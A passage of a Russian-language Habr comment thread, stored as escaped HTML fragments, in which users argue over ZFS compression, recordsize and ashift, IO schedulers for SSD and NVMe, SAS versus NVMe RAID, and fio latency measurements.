xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>также печально будет себя вести deadline IO scheduler ядра. </p></blockquote><p>Поэтому для ssd нужно шедулер noop ставить и все будет хорошо. Для pcie дисков так вообще смерти подобно.</p><blockquote><p>С другой стороны RAID-10 на SATA SSD или SAS SSD дисках даст значительный прирост к производительности относительно NVME (от кол-ва дисков конечно зависит, но прелесть SAS в том, что он серийный). Т.е. на 24Gbit SAS вы имеете шанс все это 24Gbit выжать из набора дисков. А RAID на NVME не даст никаких плюсов, т.к. всё упрётся в UPI и то как линии UPI разведены. </p></blockquote><p>Оно в обоих случаях упрется в UPI линии для софтового рейда, а если SAS контроллер аппаратный, то еще в шину до него и в возможности самого контроллера, который в топовых вариантах выше 1млн IOPS не прыгнет. Я это уже проходил, когда собирал raid0 из sata ssd. Все упирается в контроллер, который еле вывозит десяток дисков. Скоро будем собирать на pcie дисках. Посмотрим на разницу.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>В чём их бесплатность по сравнению с LVM thin? Да и при любом раскладе это \"бесплатно\" только для хостера, для клиентов это боль если (к примеру) у них там нагруженные базы или ещё что-то чему вредит COW. </p></blockquote><p>В том, как ZFS внутри устроена. По сути, нужно лишь \"форкнуть\" дерево блоков. COW сделает все остальное. </p><p>Не сказал бы, что COW вредит базами. Наоборот. COW идеально сочетается с базами, т.к. они повсеместно пишут WAL. Что базы, что ZFS стараются не модифицировать то, что уже есть на диске. По крайней мере те базы, что были разработаны под HDD. По идее, если грамотно подобрать размер блока, то оверхед будет минимальный. Компрессия тут конечно немного жизнь подпортит. А уж про дедупликацию вообще надо забыть сразу. Никто ее не рекомендует использовать и поделом.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>>Компрессия тут конечно немного жизнь подпортит</p><p>Компрессия наоборот \"жизнь улучшит\", т.к. сократит объём IO за счёт траты CPU ресурсов. Ну до тех пор пока CPU и ОЗУ хватает.</p><p> </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Это понятно, но из-за нее размер блока будет постоянно меняться и не будет четкого соответствия между тем, что пишет база, и что ложится на диски.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>Поэтому для ssd нужно шедулер noop ставить и все будет хорошо. Для pcie дисков так вообще смерти подобно.</p></blockquote><p>Угу, не noop, а просто отключать I/O Scheduler? Ага, на синтетике в одно рыло на серваке классно выглядит, а при нагрузке от 10-ки ВМ будет невероятно весело... С другой стороны, если в сервере нет ничего кроме NVME, т.е. ни внешних накопителей по FC, ни внутренних, то может быть и с пачкой ВМ будет вполне норм. Но без тестов уверенности нет.</p><p>Тогда в любом случае, сравнивать без scheduler на SSD и ZFS пул, на котором fio с fsync работает, нельзя - это такая подгонка результата к желаемому значению. Т.е. лишь-бы \"грамотно подать данные\" или доказать правоту.</p><p>Edit:</p><p>По поводу SAS контроллера: ставьте 2 или более и на каждый свой пул. Но в отличии от NVME на М.2 просто упрётесь в кол-во х8 lanes PCI-E. Т.е. в любом случае выиграете, т.к. на каждом NUMA node будете как минимум один 16х PCI-E иметь. И лучше не RAID контроллер ставить а просто SAS expander, т.е. без RAID И кэшей. И ZFS вполне отлично вам тут поможет, на каждом NUMA node свой пул со своим контроллером. Дa CPU и ОЗУ будет жрать, - мама не горюй. Но скаллироваться будет всяко лучше чем RAID контроллер. И компрессия, это просто отличный способ снизить I/O.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Шедулер можно же для каждого девайса индивидуально выставить, если на серваке еще что-то есть. Не знаю как с ВМ, но для базы данных эффект очень серьезный. Шедулер просто нещадно выжирает весь CPU, а толку от него никакого даже на SATA SSD. Контроллер диска куда лучше справится с этой задачей, т.к. по определению больше знает.</p><blockquote><p>И ZFS вполне отлично вам тут поможет, на каждом NUMA node свой пул со своим контроллером </p></blockquote><p>Если ZFS не сможет (а она это не может, судя по всему) запинить свои треды к нужным ядрам и никогда не пересекать границы NUMA, то грош цена всему этому. Все равно трафик будет гулять по интерконнекту. Тоже самое с mdraid, который точно так же ничего это не умеет. Вот какой-нить ceph строить, вот там красота. Каждый OSD прибить к конкретному процессору и все. </p><blockquote><p>Но в отличии от NVME на М.2 просто упрётесь в кол-во х8 lanes PCI-E </p></blockquote><p>Не понял, вы о чем? Нормальный сторадж я буду строить на U.2 дисках с бэкплейном, к которому подключены все линии всех дисков без свитчей и прочей ерунды. Куда я упрусь в этом случае так это в пропускную способность памяти и интерконнект между процессорами. Никакие SAS экспандеры не вывезут такие скорости. Ставить на такое ZFS я уж точно не стану. Деньги на ветер, считай.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>>ZFS и так не быстрая, и лучшее ей применение это NAS &amp; co, где данные редко модифицируются \"по месту\" (бэкапы и прочее), если её ставить на хостинг и там хорошая активность — это просто смерть производительности даже на NVMe, и это при выключенных компрессии и дедупликации, а с ними это вообще ужас-ужас — в начале всё ок но со временем за счёт фрагментации всё начинает тормозить просто ужасно, особенно если памяти на ARC не десятки гигабайт и процессор не очень многоядерный.</p><p>Тут в этом абзаце очень много вброса. Весь абзац состоит из внутренних противоречий. Я ограничусь следующим:</p><ol><li><p>Где и кто использует виртуализацию с \"процессор не очень многоядерный\". Вообще это не технический момент а финансовый. И если он вылез в плоскость \"процессор не очень многоядерный\", это ошибка дизайна и кап вложений в первую очередь.</p></li><li><p>У меня в эксплуатации были массивы ZFS, под БД Oracle для DWH и CDR. Когда я их принял в эксплуатацию, то там уже была тупейшая ошибка дизайна, которая на самом деле упиралась в возможности Oracle 11g и ASM, - ограничение на размер LUN- 2ТБ. Т.е. JBOD поверх аналога RAID-10 ZFS. Объём занятого пространства на массиве более 220ТБ из доступных пользователю 270ТБ. И это сжатые БД, с коэффициентом компрессии у одной 3.5х у другой 11х. ZIL на выделенных SSD. Всё это хозяйство на 7ТБ и 14ТБ дисках, на запись более 24к 4k IOPS получить было невозможно. На чтение до 250к IOPS вполне тянуло. Самая большая проблема, это смешение DWH и CDR БД. Т.к. когда отчёты генерировать на DWH начинали, то всем было весело. Т.е. ещё одна ошибка дизайна. Однако, денег у компании на то что-бы разделить эти БД на разные СХД выбить было не реально. Всех радовало как много можно было впихнуть в ZFS, и все ныли, как это медленно. Вбухать кучу бабла не посчитав что и для чего будет использоваться и чего больше хочется, - сэкономить денег или побыстрей отчёты считать. Как обычно 7 шапок и вопрос лежит не в технической, а в финансовой области.</p></li></ol></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>WAL получается по-сути последовательной однопоточной записью и не COW ФС его должны тоже быстро писать. А вот случайная запись должна быть очень быстрой. Правда последовательное чтение может оказаться непоследовательным по понятным причинам. Поэтому здесь правильно бенчмарк провести и посмотреть лучше COW ZFS под базу или хуже под различные нагрузки. Ну или может уже кто-то такие провел.<br/><br/>А вот со снапшотами на локальной ZFS я бенчмарк проводил на Proxmox и влияния снапшота не увидел на производительность.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>Шедулер можно же для каждого девайса индивидуально выставит</p></blockquote><p>Не нужно. Он сам для NVME отключается, сейчас. с какой версии ядра это началось не скажу, но на 5.15 автовыбор без io scheduler для NVME по умолчанию.</p><blockquote><p>Если ZFS не сможет (а она это не может, судя по всему) запинить свои треды к нужным ядрам и никогда не пересекать границы NUMA</p></blockquote><p>Тут соглашусь. Даже если гипервизор контроллирует numa ноды, то ZFS на dom0 запинить на ноду не получится.</p><blockquote><p>Не понял, вы о чем? Нормальный сторадж я буду строить на U.2 дисках с бэкплейном</p></blockquote><p>А я имел в виду, что вы сможете взять SAS SSD и польза от ZFS таки будет, особенно учитывая сжатие и сокращение IO. И в любом случае 24/48Гбпс на SAS контроллер, это 6/12 накопителей. Т.е. в пропускную способность памяти и процессинговую способность ZFS конечно можно упереться гораздо раньше, чем на 12 накопителей данные уйдут. Но это дешевле и объём можно больше собрать.<br/> В любом случае, получается, что для использования с ZFS и SAS SSD лучше всего использовать 1 процессорные модели серверов. Очень много места в пустую уйдёт.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>Это понятно, но из-за нее размер блока будет постоянно меняться и не будет четкого соответствия между тем, что пишет база, и что ложится на диски.</p></blockquote><p>ashift=12 и в ZFS блок 4к, независимо от того сколько сжатой информации туда поместится. Для этого у ZFS свой scheduler.<br/> Например БД 8к блок пишет и он поместился в 4к - идеальных вариант. И скорее всего будет сжат с каким нибудь дробным коэффициентом, и то-ли ~3КВ будет записано в блок, то-ли 1.5 блока ZFS будут использованы... Та ещё лотерея. Однако если смотреть на большие объёмы, - десятки и сотни ТБ, то эта лотерея в среднем будет идти только в плюс к производительности, чисто статистически. Т.е. например какая-нибудь БД с банковскими операциями будет в 2.5 раза сжата, а CDR в 10-11 раз. Это очень неплохой буст к скорости чтения.Лишь бы мощности ЦПУ хватило всё это распаковывать.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Если ashift=12 и recordsize/volblocksize=4K то будет работать только ZLE (сжатие нулей), потому как zfs не пишет сжатые блоки если они ужимаются меньше чем на 25% (пишет несжатый блок) и минимальный размер записи это 2^ashift. 2^12=4096, 4K.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Да и банально не нужно столько вычислительных мощностей, как по мне. ZFS конечно кушает, но не настолько, чтобы два проца совать туда. Особенно с нынешними моделями. Даже интел хорошие варианты имеет, не говоря уже об амд.</p><p>Да и в качестве примера можно посмотреть, что суют в энтерпрайз хранилки. Смех просто. А у многих внутри тот же самый ZFS и будет.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Всё смешалось, кони,люди ...<br/> Размер сектора zfs == 2^ashift. T.e. 2^12 = 4096.</p><p>И да, сжатые данные одной записи которые уместились в 3КБ будут целиком занимать 4КБ с ashift 12. А если БД оперирует 8кб или 32кб блоком, а ashift на ZFS 12, то шансы, что вы офигенно сэкономите на IOPS очень хорошие. И IO scheduler zfs в этом очень поможет.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Всё смешалось, кони, люди ...</blockquote><p>Именно так )<br/>\r\nБД может оперировать каким угодно блоком. Но если блок ФС равен 4К и она не использует для сжатия экстенты или иные группировки (для dataset это recordsize, для zvol — volblocksize; угадайте что случится, если вы их ограничите 4K) то, увы, ФС будет разбивать вашу 32K-запись в несколько 4K. И сжимать каждый блок отдельно.<br/>\r\nUPD: А если вы сделаете их слишком большими, то получите потерю IOPS и вымывание ARC за счет множества RMW-циклов. Впрочем, add-only базы могут это и не заметить…</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>А это пример пользовательского SSD, у которого латентность 5 мс (как у HDD) уже при 25 тыс. IOPS.</blockquote><p>сейчас на глаза попался обзор nvme-накопителя на qlc:<br/>\r\n<img src=\"https://habrastorage.org/r/w1560/getpro/habr/comment_images/4de/e19/32a/4dee1932a38922caf370d861fd37ccac.png\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/habr/comment_images/4de/e19/32a/4dee1932a38922caf370d861fd37ccac.png\"/><br/>\r\n<em>Что, сынку, помогли тебе твои <del>ляхи</del> pci-e gen4?</em></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>а что не так-то?</p><br/>\r\n<p>по вашей картинке:<br/>\r\niops=10/t (за t секунд произошло 10 операций)<br/>\r\nlatency≈t</p><br/>\r\n<p>по предложенной формуле:<br/>\r\nlatency≈qd/iops=10/(10/t)=t</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>1) Не смущает, что на рисунке latency примерно 2/3 t? Причем что t=1сек - это сущий произвол и вообще-то t может быть 1 мс и вообще сколько угодно.<br/><br/> 2) Я привел реальные измерения с помощью fio и в них latency больше в разы указанной формулы.<br/><br/>3) Вот еще рисунок в котором допустим два разных SSD с разной latency.</p><figure class=\"full-width \"><img src=\"https://habrastorage.org/r/w1560/getpro/habr/upload_files/cac/4c8/c83/cac4c8c831c6fb66e6601a6dc9ba42d6.png\" width=\"1892\" height=\"1684\" data-src=\"https://habrastorage.org/getpro/habr/upload_files/cac/4c8/c83/cac4c8c831c6fb66e6601a6dc9ba42d6.png\"/><figcaption></figcaption></figure><p>Можно, конечно, сказать, что IOPSы здесь неправильно нарисованы и надо все заштриховать, но когда вы все заштрихуете (упретесь в возможности контроллера, забив его длинной очередью), у вас скорее всего из-за неспособности больше операций прожевать latency начнет сильно расти, возможно экспоненциально. С огромной дисперсией. Причем рост начнется не по забиванию контроллера, а даже раньше, когда забьете очередью каналы в контроллере, кеши и какие-нибудь другие ресурсы, которые внутрях есть.<br/>Ну и на графики StorageReview выше посмотрите. Вы видите на них ту зависимость latency ~ 1/IOPS? Я вот не вижу.</p><p>Поэтому вот, надо измерять.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><div class=\"spoiler\" role=\"button\" tabindex=\"0\">\n <b class=\"spoiler_title\">вывод аналогичной команды на моём сервере</b>\n <div class=\"spoiler_text\"><pre><code class=\"plaintext\"> read: IOPS=92.2k, BW=360MiB/s (378MB/s)(21.1GiB/60001msec)\n slat (nsec): min=1020, max=111660, avg=1461.82, stdev=654.72\n clat (usec): min=32, max=8869, avg=93.21, stdev=73.93\n lat (usec): min=56, max=8871, avg=94.68, stdev=73.90\n clat percentiles (usec):\n | 1.00th=[ 58], 5.00th=[ 59], 10.00th=[ 60], 20.00th=[ 62],\n | 30.00th=[ 65], 40.00th=[ 69], 50.00th=[ 71], 60.00th=[ 75],\n | 70.00th=[ 83], 80.00th=[ 102], 90.00th=[ 139], 95.00th=[ 212],\n | 99.00th=[ 424], 99.50th=[ 553], 99.90th=[ 832], 99.95th=[ 930],\n | 99.99th=[ 1090]\n bw ( KiB/s): min=242680, max=453656, per=99.86%, avg=368407.06, stdev=95599.96, samples=119\n iops : min=60670, max=113414, avg=92101.76, stdev=23899.99, samples=119\n write: IOPS=92.2k, BW=360MiB/s (377MB/s)(21.1GiB/60001msec); 0 zone resets\n slat (nsec): min=1040, max=84435, avg=1557.34, stdev=671.25\n clat (nsec): min=240, max=131324, avg=11360.38, stdev=2080.01\n lat (usec): min=9, max=132, avg=12.92, stdev= 2.15\n clat percentiles (nsec):\n | 1.00th=[ 8512], 5.00th=[ 9024], 10.00th=[ 9536], 20.00th=[ 9792],\n | 30.00th=[10048], 40.00th=[10432], 50.00th=[10816], 60.00th=[11200],\n | 70.00th=[11840], 80.00th=[12736], 90.00th=[14016], 95.00th=[15296],\n | 99.00th=[18816], 99.50th=[20096], 99.90th=[22912], 99.95th=[24192],\n | 99.99th=[28032]\n bw ( KiB/s): min=240904, max=453264, per=99.87%, avg=368153.55, stdev=95399.17, samples=119\n iops : min=60226, max=113316, avg=92038.39, stdev=23849.79, samples=119\n lat (nsec) : 250=0.01%, 500=0.01%\n lat (usec) : 2=0.01%, 4=0.01%, 10=13.86%, 20=35.86%, 50=0.26%\n lat (usec) : 100=39.36%, 250=8.93%, 500=1.40%, 750=0.25%, 1000=0.07%\n lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%\n cpu : usr=21.25%, sys=30.90%, ctx=4318157, majf=0, minf=22\n IO depths : 1=0.0%, 2=0.0%, 4=0.0%, 8=100.0%, 16=0.0%, 32=0.0%, >=64=0.0%\n submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0%\n complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0%\n issued rwts: total=5533873,5529334,0,0 short=0,0,0,0 dropped=0,0,0,0\n latency : target=0, window=0, percentile=100.00%, depth=10\n\nRun status group 0 (all jobs):\n READ: bw=360MiB/s (378MB/s), 360MiB/s-360MiB/s (378MB/s-378MB/s), io=21.1GiB (22.7GB), run=60001-60001msec\n WRITE: bw=360MiB/s (377MB/s), 360MiB/s-360MiB/s (377MB/s-377MB/s), io=21.1GiB (22.6GB), run=60001-60001msec</code></pre></div>\n </div><br/>\r\n<p>имеем 92.2к iops на чтение + 92.2к iops на запись, считаем<br/>\r\nlatency = 10 / (92200 + 92200) ≈ 54.23 мкс</p><br/>\r\n<p>измеренное же fio значение (94.68 + 12.92) / 2 = 53.80 мкс, отличие менее 1%.</p><br/>\r\n<p>почему в вашем примере не так — сходу не могу сказать.<br/>\r\nподозреваю, что среднее значение iops в вашем примере «показывает погоду на марсе», но, к сожалению, за несколько минут я не смог разобраться как именно оно считается в fio.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Не смущает, что на рисунке latency примерно 2/3 t?</blockquote><p>смущает. потому что, очевидно, продолжительность измерений должна быть на порядки больше задержек ввода-вывода.</p><br/>\r\n<blockquote>Вот еще рисунок в котором допустим два разных SSD с разной latency.</blockquote><p>честно говоря, не понимаю, что вы хотите этими картинками показать.<br/>\r\nв обоих случаях формула latency ≈ qd/iops будет более-менее работать (более-менее потому, что непонятно как точно считать iops на интервалах, соизмеримых с задержкой ввода/вывода)</p><br/>\r\n<blockquote>Можно, конечно, сказать, что IOPSы здесь неправильно нарисованы и надо все заштриховать, но когда вы все заштрихуете (упретесь в возможности контроллера, забив его длинной очередью), у вас скорее всего из-за неспособности больше операций прожевать latency начнет сильно расти, возможно экспоненциально. С огромной дисперсией. Причем рост начнется не по забиванию контроллера, а даже раньше, когда забьете очередью каналы в контроллере, кеши и какие-нибудь другие ресурсы, которые внутрях есть.</blockquote><p>не понял что вы имеете в виду под «всё заштриховать».<br/>\r\nувеличить qd? так мы пока говорили про измерения с постоянной (не важно какой, важно, что не меняющейся в процессе теста) глубиной очереди.</p><br/>\r\n<blockquote>Ну и на графики StorageReview выше посмотрите. Вы видите на них ту зависимость latency ~ 1/IOPS?</blockquote><p>а где там графики с постоянной qd?</p><br/>\r\n<p>сама идея не ограничивать qd, а ограничивать iops и строить зависимость latency от iops мне нравится, но вот реализация на storagereview не выдерживает никакой критики — из-за того, что на графики попадают секундные «хвосты», разглядеть задержки в левой части графика проблематично, а таблиц с числовыми значениями сходу я не нашёл.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Очередь 10, IOPS 5000</blockquote><p>я думаю, что там всё-таки совсем другое среднее значение iops.</p><br/>\r\n<pre><code class=\"plaintext\"> read: IOPS=763, BW=3056KiB/s (3129kB/s)(183MiB/61231msec)\n write: IOPS=759, BW=3037KiB/s (3109kB/s)(182MiB/61231msec); 0 zone resets</code></pre><br/>\r\n<p>763 и 759 выглядят более правдоподобно, в этом случае задержка получается<br/>\r\n10 / (763 + 759) ≈ 0.006570 с = 6570 мкс.</p><br/>\r\n<p>измеренная fio<br/>\r\n(5071 + 8018) / 2 = 6544.5</p><br/>\r\n<p>опять неплохо сходится.</p><br/>\r\n<p>не могли бы вы повторить тест с параметрами <code>write_iops_log</code> и <code>write_lat_log</code> и выложить результат? хочу попробовать разобраться откуда взялись 5000 iops.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p><br/>С записью логов можно, но позже.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>ФС будет разбивать вашу 32K-запись в несколько 4K. И сжимать каждый блок отдельно</p></blockquote><p>Код с ZOL на эту тему в студию :)</p><p>Вы сейчас сказали, что компрессии не существует.<br/> Я в коде такого не видел.<br/> Видел: если запись идёт на 32к и сжимается с коэффициентом 3.2 , то будет уложена в 3х4к блока при ashift=12.</p><p>Edit:</p><p>ARC то здесь причём? Он к записи отношения не имеет.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Вы сейчас сказали, что компрессии не существует.</blockquote><p>Нет. Всего лишь указал на некоторые тонкости, которые легко могут порушить wishful thinking.</p><br/>\r\n<blockquote>ARC то здесь причём? Он к записи отношения не имеет.</blockquote><p>RMW. Read-Modify-Write cycle. Оно, во-первых, по определению медленнее, чем просто Write — каджит надеется, что это хотя бы очевидно. Во-вторых, требует хранить больше данных в памяти для достижения того же результата.</p><br/>\r\n<blockquote>Код с ZOL на эту тему в студию :)</blockquote><p>Полноте, это вы теряете контекст и не понимаете, о чем идет идет речь. Вам и приводить доказательства, но <em>сначала</em>, прежде чем этот, все-таки, рекомендовал бы внимательно прочитать, о чем идет речь, и прочитать штатный хелп, или, хотя бы, <a href=\"https://forums.freebsd.org/threads/thoughts-on-zfs-compression.80217/\" rel=\"nofollow noopener noreferrer\">этот профильный тред</a>, прежде, чем укапываться в гит.<br/>\r\nПотому как <code>zpool allocation unit</code>, <code>zfs recordsize</code> и <code>zvol volblocksize</code> — разные сущности. И все они совершенно ортогональны размеру блока, используемому каким-либо софтом.</p><br/>\r\n<blockquote>Видел: если запись идёт на 32к и сжимается с коэффициентом 3.2, то будет уложена в 3х4к блока при ashift=12</blockquote><p>Да. Если вы не ограничили сверху размер записи zfs (recordsize/volblocksize) равным размеру zpool ashift.<br/>\r\nА теперь <a href=\"https://habr.com/ru/company/ruvds/blog/598357/?reply_to=23906897#comment_23894745\">смотрите фокус</a>:</p><br/>\r\n<blockquote>ashift=12 и в ZFS блок 4к</blockquote><p>Вы явно указываете, что <strong>ограничили размер record сверху и ваши 32K не смогут быть записаны в один record</strong>.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>Вы явно указываете, что <strong>ограничили размер record сверху и ваши 32K не смогут быть записаны в один record</strong>.</p></blockquote><p>\"Госпидя ...\", да вы рекорд от сектора не отличаете, и ещё меня на \"профильные треды\" отправляете. Там уже 3-й комментарий в котором ложное утверждение (ложное утверждение выделено жирным):</p><blockquote><p>Sorry, that came out wrong. I meant to say: A large recordsize generally gives you better compression and less metadata overhead, <strong>but space is wasted on partly-filled records</strong> if compression is off</p></blockquote><p>ashift диктует размер сектора zfs ПУЛА, recordsize диктует размер записи на конкретном dataset (по умолчанию 128к).<br/> Размер сектора в идеале должен совпадать с блоком устройства, в противном случае или перерасход пространства или многократные перезаписи и падение производительности. Размер записи должен быть многократно больше размера сектора, что-бы в компрессии смысл был.</p><p>Посмотрите в исходники, modules/zfs/zio_compress.c и выше по иерархии. </p><p>ZFS пишет стрим!!!! Стрим размером с запись или меньше. Секторов займёт столько сколько нужно, а не по максимуму.</p><p>ARC от L2ARC вы тоже не отличаете, поэтому чушь несёте. Кстати ARC как и L2ARC содержат сжатые блоки если ФС сжата и блок сжимаемый.</p><p>Блок в ARC будет обновлён только, после того как физический блок будет записан, а он будет записан новый. И новый блок будет заюзан только новым запросом на чтение, т.к. COW. RWM цикл вам страшен только на hot блоках, или на искусственно созданной ситуации. Зачем вы вообще его сюда за уши притянули???<br/></p><p>Не нужно мне здесь ссылки на \"профильные треды\" приводить. Чего там можно найти, того что нет в коде или документации ?????<br/> Никакой сакральности во всём этом нет уже почти 15 лет. Есть даже разжёванная документация.</p><p>Вот вам древняя дока от оракла <a href=\"https://www.oracle.com/technetwork/server-storage/solaris10/config-solaris-zfs-wp-167894.pdf\" rel=\"noopener noreferrer nofollow\">https://www.oracle.com/technetwork/server-storage/solaris10/config-solaris-zfs-wp-167894.pdf</a>, там про размеры записи и db_block_size написано, чтоб админы не мучились. Это для OLTP нет выбора и размер записи, должен совпадать с размером блока БД, хотя для SSD это древнее правило уже можно просто похоронить.</p><p>Вот дока про с разделом компрессия <a href=\"https://openzfs.github.io/openzfs-docs/Performance%20and%20Tuning/Workload%20Tuning.html#compression\" rel=\"noopener noreferrer nofollow\">https://openzfs.github.io/openzfs-docs/Performance and Tuning/Workload Tuning.html#compression</a></p><blockquote><p>The uncompressed block size is set by the <code>recordsize</code> (defaults to 128KB) or <code>volblocksize</code> (defaults to 8KB) property (for filesystems vs volumes).</p></blockquote><p>Вот доходчиво о компрессии для тех кто в код не умеет: <a href=\"https://klarasystems.com/articles/openzfs1-understanding-transparent-compression/\" rel=\"noopener noreferrer nofollow\">https://klarasystems.com/articles/openzfs1-understanding-transparent-compression/</a></p><p> Детский сад.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Вот, замечательно, что вы включились. Плохо, что большая часть вашего текста по-прежнему нападки. Некоторые по прежнему без знания матчасти: ну, например, понятие <em>сектор</em> относится к устройству хранения, а не к zpool/zfs.</p><br/>\r\n<p>Пройдемся по конструктивной части.</p><br/>\r\n<blockquote>ZFS пишет стрим!!! Стрим размером с запись или меньше.</blockquote><p>Браво! А что случится, если вы <strong>ограничите</strong> этот ваш стрим в 4К и запишете 32К? Граничные случаи со стримом нулей и ему подобные давайте опустим, интересен случай с данными, подобными реальным.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>Браво! А что случится, если вы <strong>ограничите</strong> этот ваш стрим в 4К и запишете 32К? Граничные случаи со стримом нулей и ему подобные давайте опустим, интересен случай с данными, подобными реальным.</p></blockquote><p>Если Буратино очень хочет в топку, то туда ему и дорога. Не принуждает никто. Хочет - делает.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>То есть, вы не имеете представления о том, что происходит в обсуждаемом случае.</p><br/>\r\n<p>А происходит там вот что:</p><br/>\r\n<blockquote>Our hardware blocksize is 4KiB, and our desired maximum record size is 128KiB – so a typical record, uncompressed, will be stored in thirty-two 4KiB blocks. What if we’ve got “compression=lz4” set, and the LZ4 algorithm can achieve a raw 1.32 compression ratio, compressing that 128KiB of data down to 97KiB?<br/>\r\nYou need twenty-five total 4KiB blocks to store 97KiB of data – so <strong>while we’re still looking at a single 128KiB record, that record now occupies twenty-five blocks on disk</strong>, not thirty-two—an on-disk “compressratio” of 1.28.</blockquote><p>Там же:</p><br/>\r\n<blockquote>Higher recordsize Means Better Compression Ratios</blockquote><p>Из этого следует простой вывод: запись сжимается целиком. И это, внезапно, логично: один и тот же код сможет обрабатывать записи сжатые и несжатые, просто в случае сжатой записи дополнительно вызывается декомпрессор — возвращающий типичную несжатую запись и не возвращающий внезапный терабайт нулей, с которым другие слои не знают, что делать.</p><br/>\r\n<p>О чем этот и говорит.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ага, я и говорю ССЗБ. Давайте создадим проблему, и будем дружно всем рассказывать про неё. При этом и в документации и в статье вам говорят прямо, не делайте этого. А вы ну очень хотите этот случай внедрить в жизнь. Зато всем можно теперь рассказывать, что ZFS в компрессию не умеет :D</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Дуракам закон не писан.<br/>\r\nЕсли писан — то не читан.<br/>\r\nЕсли читан — то не понят.<br/>\r\nЕсли понят — то не так.</p><br/>\r\n<p>Спасибо за наглядную иллюстрацию.<br/>\r\nТекст, в цитате, из вашего же источника взят ;)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Вы не представляете насколько это выглядит комично. Может у вас с английским плохо? Вы ведь этот \"граничный случай\", из пальца высасываете. Ну кто в здравом уме кроме тех кто сам себе враг, будет делать запись размером меньше или равным размеру сектора, при использовании компрессии? Ну нет ни одного практичного случая когда это нужно. И я вам с самого начала говорил, - больше размер записи (стрима), больше шансов, что данные займут меньше секторов. И чего вы так обрадовались, что вам закон не писан????<br/> Даже для использования с оракл в OLTP профиле меньше 8к запись вы делать не станете (ну ведь не станете-же???? да???). А что это я вдруг за вас переживаю? Делайте как хотите.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Ну кто в здравом уме кроме тех кто сам себе враг, будет делать запись размером меньше или равным размеру сектора, при использовании компрессии?</blockquote><p>Наверное, тот же, кто предложил установить ashift=12 и некий <code>zfs блок</code> в 4K, после чего каджит и создал к подветку, указав на неточность? Кто бы это мог быть, интересно? Наверное, Поттеринг, он всегда во всем виноват. Или Торвальдс. Ой, нет, <a href=\"https://habr.com/ru/company/ruvds/blog/598357/#comment_23894745\">это же</a> сам <a href=\"https://habr.com/ru/users/thatsme/\" class=\"user_link\">thatsme</a>!</p><br/>\r\n<p>Слушайте, вы уже неделю не в силах ни осмыслить ни свои комменты, ни то что вам пишут, ни прочитать свои же собственные пруфы, зато ударно выполняете танцы вокруг соломенного чучела, путаетесь в матчасти и агритесь. Первое время это еще можно было списать на жесткий абсистентный синдром, но праздники закончились и началась рабочая неделя. Пора прекращать бессмысленную возню ради возни и бампать пост руганью; если вам обсуждение еще актуально — напишите лучше в ЛС.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>Наверное, тот же, кто предложил установить ashift=12 и некий <code>zfs блок</code> в 4K, после чего каджит и создал к подветку, указав на неточность? Кто бы это мог быть, интересно? Наверное, Поттеринг, он всегда во всем виноват. Или Торвальдс. Ой, нет, <a href=\"https://habr.com/ru/company/ruvds/blog/598357/#comment_23894745\" rel=\"noopener noreferrer nofollow\">это же</a> сам <a class=\"mention\" href=\"https://habr.com/ru/users/thatsme/\">@thatsme</a>!</p></blockquote><p>У вас в голове каша. Я вам раньше об этом говорил, и доку привёл: ashift на размер записи не влияет, это размер сектора, который мапится в физ блоки драйва. Размер записи регулируется параметром recordsize. RTFM. Диалог пошёл по кругу...</p><blockquote><p>Слушайте, вы уже неделю не в силах ни осмыслить ни свои комменты, ни то что вам пишут, ни прочитать свои же собственные пруфы, зато ударно выполняете танцы вокруг соломенного чучела, путаетесь в матчасти и агритесь. Первое время это еще можно было списать на жесткий абсистентный синдром, но праздники закончились и началась рабочая неделя. Пора прекращать бессмысленную возню ради возни и бампать пост руганью; если вам обсуждение еще актуально — напишите лучше в ЛС.</p></blockquote><p>Как вы умудряетесь прикидываться специалистом, если даже доку, разжёванную и указанную в комментах выдержку осилить не в состоянии?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>А кто вам говорит, что ashift влияет на размер записи-то? С кем 